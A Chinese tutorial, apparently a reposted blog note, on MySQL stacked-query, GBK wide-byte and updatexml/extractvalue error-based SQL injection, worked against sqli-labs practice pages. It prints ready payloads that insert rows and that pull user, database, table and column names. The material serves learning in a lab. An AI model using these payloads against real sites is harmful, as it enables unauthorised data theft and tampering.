• 注册
当前位置:1313e > 默认分类 >正文

SQL堆叠宽字节报错注入

  一、堆叠注入
特性:SQL语句以;为分隔符,可以同时执行多个SQL语句
原理:多条语句一起执行
mysql_query()函数:不支持多条查询
mysqli_multi_query()函数:支持一个或多个针对数据库的查询。

-1';insert into users(id,username,password) values (66,'m66','hello') --+

二、宽字节注入
Mysql中转义的函数:

addslashes,mysql_real_escape_string,mysql_escape_string,magic_quote_gpc

(php高版本已移除此功能)。
网站开启了转义函数,数据库设置成gbk编码
转义函数:过滤用户输入的一些数据,对特殊的字符加上反斜杠"\"进行转义,转义之后就变成了一个字符
原理:ASCII占用1个字符,GBK编码占用2个字符,通过构造恶意字符把ASCII字符吃掉
MySQL字符转换:
数据提交到MySQL数据库,需要进行字符集的转换,使得MySQL数据库可以对数据进行处理,这一个过程需要以下三个步骤:
1.收到请求,将请求数据从character_set_client->character_set_connection
2.内部操作,将数据从character_set_connection->表创建的字符集
3.结果输出,将数据从表创建的字符集->character_set_results
当执行set names "charset",相当于执行
set character_set_client=charset                     client指的是PHP程序
set character_set_connection = charset          connection指的是PHP客户端与MySQL服务器之间连接层
set character_set_results=charset                   results指的是MySQL服务器返回给PHP客户端的结果
MySQL常见的乱码问题就是这三个字符集的设置不当所引起的

单引号转义之后,就是一个字符,不能够在去闭合,不能够闭合前面的单引号,输入的数据只能变成字符,无法查询
正常数据库是显示utf-8,GBK:汉字编码标准
宽字节注入例子:提交测试:id=1' and 1=1#
SQL语句:

select * from user where id ='1\' and 1=1#'(失败)

提交测试:id=1%df' and 1=1#
SQL语句:

select * from user where id='1运' and 1=1#'(成功)

原理:
ASCII编码:单字节编码
GBK编码:使用一字节和双字节编码
宽字节就是两个以上的字节
利用的MySQL的一个特性,MySQL在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字"运",而逃逸了出来。
例子讲解:
http://mingy.lab/Less-32/index.php?id=1%df'
发生如下转换:

%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>运'


MySQL执行的语句为:

$sql="SELECT * FROM users WHERE id='1运' LIMIT 0,1';成功将单引号闭合,可以进行SQL注
入


三、报错注入
1.原理:通过函数报错获取信息:使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
前提:后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面
2.报错注入函数:

常用的报错函数:updatexml()、extractvalue()、floor

使用函数报错获取信息:select、insert、update、delete


3.例子

获取数据库信息:1' and updatexml(1,concat(0x7e,(select user())),1)--+

获取字段名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) fro
m information_schema.columns where table_name='emails' and table_schema=databas
e())),1)--+

获取数据库名:1' and updatexml(1,concat(0x7e,database()),1)--+

获取表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1)--+


4.报错注入函数:
updatexml()函数、extractvalue()函数:
介绍:是mysql对xml文档数据进行查询和修改的XPATH函数
作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:

updatexml(xml_document,xpath_string,new_value)

extractvalue(xml_document,xpath_string)

xml_document:string格式,xml文档对象的名称
xpath_string:xpath格式的字符串
new_value:string格式,替换查找到的符合条件的值
Xpath定位必须有效,否则会有错误;
因此可以通过输入特殊字符(如~),来导致xpath错误。
XPATH报错最多显示32位,可以通过substr截取获得其他内容。


5.select获取信息
updatexml()函数:

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),
0x7e),1));


0x7e:~的ascii码,通过前后添加~使其不符合xpath格式从而报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select 
table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1));


extractvalue()函数:

select * from users where id=1 and (extractvalue(1,concat(0x7e,
(select user()))));

排除掉不想要的数据:http://192.168.248.132/sqli-labs/Less-5/
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) frominformation_schema.tables where table_schema=database() andtable_name not in ('emails'))),1)--+

截取自己想要的部分:http://192.168.248.132/sqli-labs/Less-5/
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(table_name)
,1,10) from information_schema.tables where table_schema=database())),1)--+ 

                                              //从1开始到10结束
group_concat:将多个结果,放到一行
concat:将多个字符串连接成一个字符串

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录
相关推荐